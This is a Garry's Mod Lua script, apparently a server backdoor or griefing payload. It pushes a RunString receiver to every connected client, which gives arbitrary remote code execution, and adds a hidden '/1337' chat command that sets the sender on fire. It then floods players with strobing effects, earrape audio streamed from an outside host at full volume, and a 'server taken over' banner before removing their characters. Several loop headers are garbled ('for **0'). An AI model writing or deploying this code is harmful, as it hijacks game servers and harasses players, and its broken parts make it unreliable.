util.AddNetworkString "skeleton_dancing_troll" local lol = {} function lol:RandomString( intMin, intMax ) local ret = "" for _ = 1, math.random( intMin, intMax ) do ret = ret.. string.char( math.random(65, 90) ) end return ret end lol.m_tblActions = {} lol.m_strImageGlobalVar = lol:RandomString( 6, 12 ) lol.m_strImageLoadHTML = [[]] function lol:PushAction( intChainDelay, func ) self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func } end function lol:NextAction( pPlayer ) pPlayer.m_intCurAction = pPlayer.m_intCurAction +1 if not self.m_tblActions[pPlayer.m_intCurAction] then return end timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function() if not IsValid( pPlayer ) then return end self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer ) self:NextAction( pPlayer ) end ) end function lol:Start( pPlayer ) pPlayer.m_intCurAction = 0 self:NextAction( pPlayer ) end function lol:SendLua( pPlayer, strLua ) net.Start( "skeleton_dancing_troll" ) net.WriteString( strLua ) net.Send( pPlayer ) end function lol:SetupPlayer( pPlayer ) pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" ) end for k, v in pairs( player.GetAll() ) do lol:SetupPlayer( v ) timer.Simple( 2, function() lol:Start( v ) end ) end hook.Add( "PlayerAuthed", "wat", function( pPlayer ) lol:SetupPlayer( pPlayer ) timer.Simple( 10, function() lol:Start( pPlayer ) end ) end ) hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat ) if strText:sub( 1, 5 ) == "/1337" then pSender:Ignite( 1e9 ) pSender:ChatPrint( "Enjoy your free Cum" ) pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] ) return false end end ) --Disco time lol:PushAction( 0, function( pPlayer ) local idx = pPlayer:EntIndex() timer.Create( "beat".. idx, 0.42, 0, function() if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) ) end ) lol:SendLua( pPlayer, [[ local emitter = ParticleEmitter( LocalPlayer():GetPos() ) local time = 0 hook.Add( "Think", "wat", function() if CurTime() < time then return end time = CurTime() +0.05 for i = 1, 16 do local part = emitter:Add( "particles/balloon_bit", LocalPlayer():GetPos() +Vector( math.random( -256, 256 ), math.random( -256, 256 ), 256 ) ) if part then local Size = math.random( 4, 7 ) part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 ) part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) ) part:SetDieTime( 4.5 ) part:SetGravity( Vector(40, 0, -250) ) part:SetLifeTime( 0 ) part:SetStartSize( Size /2 ) part:SetEndSize( Size ) part:SetCollide( true ) end end end ) ]] ) lol:SendLua( pPlayer, [[ hook.Add( "RenderScreenspaceEffects", "wat", function() local sinScaler = math.sin( CurTime() ) DrawBloom( 0, 3, sinScaler *math.Rand(1, 8), sinScaler *math.Rand(1, 8), 6, math.Rand(0.5, 2), math.Rand(0, 0.3), math.Rand(0, 0.3), math.Rand(0.5, 1) ) DrawColorModify{ ["$pp_colour_addr"] = 1, ["$pp_colour_addg"] = 0, ["$pp_colour_addb"] = 00, ["$pp_colour_brightness" ] = 0, ["$pp_colour_contrast" ] = 1, ["$pp_colour_colour" ] = 1, ["$pp_colour_mulr" ] = 0, ["$pp_colour_mulg" ] = 0, ["$pp_colour_mulb" ] = 0 } end ) local mdl = ClientsideModel( "models/player/zombie_classic.mdl", RENDERGROUP_BOTH ) mdl:SetNoDraw( true ) local posCache, time = {}, 0 hook.Add( "HUDPaint", "dance", function() if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then local idx = mdl:LookupSequence("taunt_dance") mdl.SeqDuration = mdl:SequenceDuration( idx ) mdl.SeqStart = CurTime() mdl:ResetSequence( idx ) end mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration ) local w, h = 300, 300 local ang = Angle( 0, 0, 0 ) for i = 1, 32 do if CurTime() > time then posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) } end local x, y = posCache[i][1], posCache[i][2] cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h ) cam.IgnoreZ( true ) render.SuppressEngineLighting( true ) render.SetLightingOrigin( mdl:GetPos() ) render.ResetModelLighting( 1, 1, 1 ) render.SetColorModulation( 0, 0, 1 ) mdl:DrawModel() render.SuppressEngineLighting( false ) cam.IgnoreZ( false ) cam.End3D() end if CurTime() > time then time = CurTime() +0.15 end end ) surface.PlaySound( "vo/npc/male01/ohno.wav" ) ]] ) end ) --EVIL TIME rip headpones lol:PushAction( 0, function( pPlayer ) lol:SendLua( pPlayer, [[ surface.PlaySound( "vo/npc/male01/gethellout.wav" ) local sounds = {} for i = 1, 4 do sound.PlayURL( "http://cummelwave.orgfree.com/EARRAPE.mp3", "noblock noplay", function( pChan ) sounds[#sounds +1] = pChan end ) end timer.Create( "asdf", 1, 0, function() if #sounds ~= 4 then return end timer.Destroy( "asdf" ) for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end end ) local disco = vgui.Create("DHTML") disco:SetSize(400,400) disco:SetPos(200,0) disco:OpenURL("http://zimb.club/zimb/disco2.gif") local disco2 = vgui.Create("DHTML") disco2:SetSize(400,400) disco2:SetPos(ScrW()-550,0) disco2:OpenURL("http://zimb.club/zimb/disco2.gif") surface.CreateFont( "NEWS1", {font = "Arial",size = 70,weight = 2000,}) surface.CreateFont( "NEWS2", {font = "Arial",size = 150,weight = 2000,}) local newsPan1 = vgui.Create("DPanel") newsPan1:SetSize(ScrW(), 150) newsPan1:SetPos(0, ScrH()-150) newsPan1.Paint = function() surface.SetDrawColor(255,255,255,255) surface.DrawRect(0,0,newsPan1:GetWide(),newsPan1:GetTall()) surface.SetDrawColor(190,10,10,255) surface.DrawRect(0,4,newsPan1:GetWide(),newsPan1:GetTall()) end local newsPan2 = vgui.Create("DPanel") newsPan2:SetSize(ScrW(),ScrH()) newsPan2:SetPos(0,0) newsPan2.Paint = function() local trap3 = { {x = ScrW()-504, y = ScrH()-150}, {x = ScrW()-439, y = ScrH()-254}, {x = ScrW(), y = ScrH()-254}, {x = ScrW(), y = ScrH()-150}, } local trap4 = { {x = ScrW()-500, y = ScrH()-146}, {x = ScrW()-435, y = ScrH()-250}, {x = ScrW(), y = ScrH()-250}, {x = ScrW(), y = ScrH()-146}, } local trap5 = { {x = ScrW()-475, y = ScrH()-156}, {x = ScrW()-432, y = ScrH()-235}, {x = ScrW()-8, y = ScrH()-235}, {x = ScrW()-8, y = ScrH()-156}, } draw.NoTexture() surface.SetDrawColor(255,255,255,255) surface.DrawPoly(trap3) draw.NoTexture() surface.SetDrawColor(200,20,20,255) surface.DrawPoly(trap4) draw.NoTexture() surface.SetDrawColor(190,10,10,180) surface.DrawPoly(trap5) end local title2 = vgui.Create("DLabel", newsPan2) title2:SetFont("NEWS1") title2:SetText("Cummel News") title2:SizeToContents() title2:SetPos(ScrW()-title2:GetWide()-55, ScrH()-254+title2:GetTall()/2-12) title2:SetColor(Color(255,255,255)) local title3 = vgui.Create("DLabel", newsPan1) title3:SetFont("NEWS2") title3:SetText("Breaking News This server has been taken over by the Cummel gang. We are not script kiddies <3333") title3:SizeToContents() title3:SetPos(ScrW(), 10) title3:SetColor(Color(255,255,255)) timer.Create("movingtext2",.05,0,function() if title3:GetPos() >= 0-title3:GetWide() then title3:SetPos(Lerp(.5,title3:GetPos(),title3:GetPos()-10),10) else title3:SetPos(ScrW(),10) end end) surface.CreateFont( "SPAM", {font = "Arial",size = 55,weight = 2000,}) local disco = vgui.Create("DHTML") disco:SetSize(400,400) disco:SetPos(200,0) disco:OpenURL("https://i.imgur.com/L8rL5dV.gif") local disco2 = vgui.Create("DHTML") disco2:SetSize(400,400) disco2:SetPos(ScrW()-550,0) disco2:OpenURL("https://i.imgur.com/L8rL5dV.gif") hook.Add( "HUDPaint", "Lines", function() local center = Vector(ScrW()/2, ScrH()/2, 0) local col = 100 for **0, col, 1 do local rainbow = HSVToColor(CurTime() % 5 * 100 + i,1,1) surface.SetDrawColor(rainbow.r,rainbow.g,rainbow.b,255) end for i = 1,32 do surface.DrawLine(center.x,center.y, math.random(0,ScrW()), math.random(0,ScrH())) end local col = 100 for **0, col, 1 do local rainbow = HSVToColor(CurTime() % 3 * 500 + i,1,1) surface.SetDrawColor(rainbow.r,rainbow.g,rainbow.b,255) end for i = 1,32 do surface.DrawLine(1,1, math.random(0,ScrW()), math.random(0,ScrH())) end local col = 100 for **0, col, 1 do local rainbow = HSVToColor(CurTime() % 7 * 150 + i,1,1) surface.SetDrawColor(rainbow.r,rainbow.g,rainbow.b,255) end for i = 1,32 do surface.DrawLine(1,1, math.random(0,ScrW()), math.random(0,ScrH())) end local col = 100 for **0, col, 1 do local rainbow = HSVToColor(CurTime() % 15 * 125 + i,1,1) surface.SetDrawColor(rainbow.r,rainbow.g,rainbow.b,255) end for i = 1,32 do surface.DrawLine(ScrW(),1, math.random(0,ScrW()), math.random(0,ScrH())) end local col = 100 for **0, col, 1 do local rainbow = HSVToColor(CurTime() % 25 * 100 + i,1,1) surface.SetDrawColor(rainbow.r,rainbow.g,rainbow.b,255) end for i = 1,32 do surface.DrawLine(1,ScrH(), math.random(0,ScrW()), math.random(0,ScrH())) end local col = 100 for **0, col, 1 do local rainbow = HSVToColor(CurTime() % 40 * 100 + i,1,1) surface.SetDrawColor(rainbow.r,rainbow.g,rainbow.b,255) end for i = 1,32 do surface.DrawLine(ScrW(),ScrH(), math.random(0,ScrW()), math.random(0,ScrH())) end local col = 100 for **0, col, 1 do rainbow = HSVToColor(CurTime() % 5 * 150 + i,1,1) end local col = 100 for **0, col, 1 do r = HSVToColor(CurTime() % 30 * 150 + i,1,1) end for i = 1,32 do draw.SimpleTextOutlined("Cummel!! Gang!!","SPAM",math.random(0,ScrW()-35), math.random(0,ScrH()-1),Color(rainbow.r,rainbow.g,rainbow.b),TEXT_ALIGN_CENTER,TEXT_ALIGN_TOP,3,Color(math.random(1,255),math.random(1,255),math.random(1,255))) end end) ]] ) pPlayer:Remove() end )